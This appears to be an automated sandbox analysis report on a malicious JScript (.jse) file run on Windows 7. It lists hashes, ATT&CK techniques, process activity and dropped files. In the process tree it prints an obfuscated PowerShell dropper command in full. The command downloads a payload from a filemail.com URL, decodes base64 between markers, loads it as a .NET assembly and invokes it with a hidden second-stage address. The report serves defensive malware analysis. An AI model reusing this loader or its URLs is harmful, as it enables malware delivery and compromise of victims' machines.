a8913319d581f7711cb683e5d4fd5e966e11bc641cc3ec2979f1f5f1d79d6fec

Analysis

max time kernel
118s
max time network
120s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
27/02/2025, 11:23

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General

Target

1092817034_DCTAZ100_2025_23176136_1.jse
Size

309KB
MD5

d97ac5a9ac461d2137606480b79db1c4
SHA1

dda801ef5e48dd7510e7cb8380f316d7a7147265
SHA256

98c41f03c8e8c2b2246014f1cb0a49b2b71afc60c0e83ed33e5ad4e783418703
SHA512

283b076b0ca30bee97e1da8d87460bc6668533608c26370325a0273070bce38165ce2be3eb75662eaa85b6176076fc1fc6f15c2970006d2bc817e714c5735638
SSDEEP

3072:5vJ5HovJ5HovJ5HovJ5H7vJ5HovJ5HovJ5HovJ5H4vJ5HovJ5HovJ5HovJ5HuGnG:L4BL

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://3005.filemail.com/api/file/get?filekey=YGeeUqxByC2SUnRwBS5PxBChMdOlgJICDX-dOV3RIbLORoveuNxkFvLqz9DkMXM&skipreg=true&pk_vid=342803d1cc4e3b80174013691680a5ef

exe.dropper

https://3005.filemail.com/api/file/get?filekey=YGeeUqxByC2SUnRwBS5PxBChMdOlgJICDX-dOV3RIbLORoveuNxkFvLqz9DkMXM&skipreg=true&pk_vid=342803d1cc4e3b80174013691680a5ef

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2140	powershell.exe
7	2140	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2140	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2140	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2140	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2856 wrote to memory of 2140	2856	WScript.exe	30
PID 2856 wrote to memory of 2140	2856	WScript.exe	30
PID 2856 wrote to memory of 2140	2856	WScript.exe	30

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Admin\AppData\Local\Temp\1092817034_DCTAZ100_2025_23176136_1.jse"
1⤵
- Suspicious use of WriteProcessMemory
PID:2856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$nahcolite = '#x#.0fc/d1/moc.as.pps//:sp##h';$brandwine = $nahcolite -replace '#', 't';$overripeness = 'https://3005.filemail.com/api/file/get?filekey=YGeeUqxByC2SUnRwBS5PxBChMdOlgJICDX-dOV3RIbLORoveuNxkFvLqz9DkMXM&skipreg=true&pk_vid=342803d1cc4e3b80174013691680a5ef';$oversubscribing = New-Object System.Net.WebClient;$Catapres = $oversubscribing.DownloadData($overripeness);$straped = [System.Text.Encoding]::UTF8.GetString($Catapres);$ribeyes = '<<BASE64_START>>';$alcanna = '<<BASE64_END>>';$incensory = $straped.IndexOf($ribeyes);$flitterchack = $straped.IndexOf($alcanna);$incensory -ge 0 -and $flitterchack -gt $incensory;$incensory += $ribeyes.Length;$smolt = $flitterchack - $incensory;$tenotome = $straped.Substring($incensory, $smolt);$medallion = [System.Convert]::FromBase64String($tenotome);$JITEM = [System.Reflection.Assembly]::Load($medallion);$performic = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($brandwine,'','','','MSBuild','','','','','','','','','',''))"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2140

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
71KB

MD5
83142242e97b8953c386f988aa694e4a

SHA1
833ed12fc15b356136dcdd27c61a50f59c5c7d50

SHA256
d72761e1a334a754ce8250e3af7ea4bf25301040929fd88cf9e50b4a9197d755

SHA512
bb6da177bd16d163f377d9b4c63f6d535804137887684c113cc2f643ceab4f34338c06b5a29213c23d375e95d22ef417eac928822dfb3688ce9e2de9d5242d10

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar4D3D.tmp

Filesize
183KB

MD5
109cab5505f5e065b63d01361467a83b

SHA1
4ed78955b9272a9ed689b51bf2bf4a86a25e53fc

SHA256
ea6b7f51e85835c09259d9475a7d246c3e764ad67c449673f9dc97172c351673

SHA512
753a6da5d6889dd52f40208e37f2b8c185805ef81148682b269fff5aa84a46d710fe0ebfe05bce625da2e801e1c26745998a41266fa36bf47bc088a224d730cc

Download Submit
memory/2140-4-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/2140-5-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download
memory/2140-43-0x000000001D570000-0x000000001D774000-memory.dmp

Filesize
2.0MB

Download